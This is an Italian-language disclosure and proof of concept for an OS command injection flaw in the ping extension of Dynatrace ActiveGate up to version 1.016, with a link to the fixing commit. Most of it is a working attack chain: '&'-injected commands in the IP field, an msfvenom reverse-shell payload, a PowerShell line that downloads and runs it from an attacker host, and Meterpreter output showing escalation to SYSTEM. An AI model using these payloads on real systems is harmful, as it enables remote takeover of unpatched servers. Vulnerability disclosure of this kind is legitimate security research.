
Vulnerabilità di OS command injection nell'estensione ping di Dynatrace ActiveGate fino alla versione 1.016 tramite un indirizzo IP appositamente predisposto
"Vulnerabilità di iniezione di comandi del sistema operativo nell'estensione ping di Dynatrace ActiveGate fino alla versione 1.016 tramite indirizzo IP appositamente predisposto"
In background, l'estensione ping utilizza il prompt dei comandi di Windows per eseguire il ping. Il campo di input per l'host target del test è inoltre lungo 1024 caratteri. Dopo l'indirizzo IP è possibile scrivere comandi aggiuntivi che ActiveGate eseguirà, semplicemente utilizzando una '&'.
Segnalata a Dynatrace e corretta con questo commit: https://github.com/Dynatrace/dynatrace-api/pull/99
Exploit RCE per aggiungere un utente:
Elenco utenti locali prima e dopo:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows